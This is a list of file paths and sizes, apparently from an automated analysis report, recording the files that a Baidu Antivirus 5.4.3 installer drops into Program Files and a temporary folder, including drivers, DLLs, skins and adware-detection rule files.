%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\unloadInvestigateTitle.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon.sys (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavhm.exe (1728 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\language.ini (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\point_un.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\unloadInvestigateTitle_cry.png (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\statusIconLight.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin.xml (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\MixiDJ.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessCustomScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin.xml (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\pop_bk_noline.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_rejected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcs.dat (106 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Hips\IPlug_Hips.dll (312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1150.DealSlider.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_alert.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_complete_big.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_logo.png (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\version.xml (292 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon64.sys (38 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\InstallerRF (17083 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin.xml (135 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex64.sys (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DeleteOldInstallFile.exe (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin.xml (38 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1231.babylon.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavqu.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout4_bg.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUp.dll (313 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\pop_bk.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1153.TubeDimmer.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect64.sys (169 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\feedback.png (52 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_update.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1130.PhotoJoyBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVM.dll (1653 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_safe_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon.sys (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_left_hover.png (208 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1097.NCH FRToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin.xml (90 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_scan_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_custom.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavPluginRemove\skin.xml (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCns.dll (1803 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\listBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_big_logo.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\iconUnlock.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ep.dat (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\popbaseblueF_op.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_scanning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_redfocus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\CouponDropDown.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\new.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\tip_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin.xml (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsCfg.dll (1846 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\scrollbar\scroll2.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg_green.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_mutilext.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BNetOp.dll (1651 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_files.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1239.fileconverter.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1260.snt.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\settingsH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_button_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\popup1.arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1068.AppBario2.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_float.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logoTitle.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\disableInBlue.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1048.MixiDjV30.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_suessfully.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\unloadInvestigateTitle_cry.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\guide_main_layout9_slice.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_full.png (79 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_seperator.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tab_hover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\main_logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\sc.dat (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1099.SearchDeals.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1094.BittorrentBar_DEToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\icon_rejected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Yontoo.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fullscan_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1255.pupnukeit.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1049.SocialSearchBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_hover_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\lockOpen.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus_all.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstallUtility.dll (34023 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_down.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsr_info.ini (119 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bhbase.sys (74 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1062.OnlineRadioPlayerRecorderToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_doing.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1101.VAFMusic.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin.xml (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1217.CouponSamurai.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_left_normal.png (208 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\context\context.ini (458 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark64.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_tools_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\qua_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\topline.png (235 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon3N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin.xml (57 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1163.BubbleDock.rul (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_adblock_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dark.dll (1281 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_custom.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\fb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\arrow_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin.xml (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\ieprotect_logo.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\blueBtn.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installLogoTitle.png (43 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_general_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PCAppStore_Setup_bav.exe (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_general_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1106.GetSavin.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_over.png (316 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\tips_bg2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\GiantSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_on_over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1124.MagicDesktopENToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_sel_hot.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1057.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black3.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (235 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_failed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_noprocess.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\privacy_cover.png (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1115.Qwiklinx.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1138.MapsBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil64.sys (116 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsCore.dll (259 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_schedule_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\LockFile.ico (122 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_warning.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1087.MediaFinder.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\preicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_safetips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BavBsr.dll (17629 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\av_friend.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1220.WonderBrowse.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBh.dll (315 bytes)
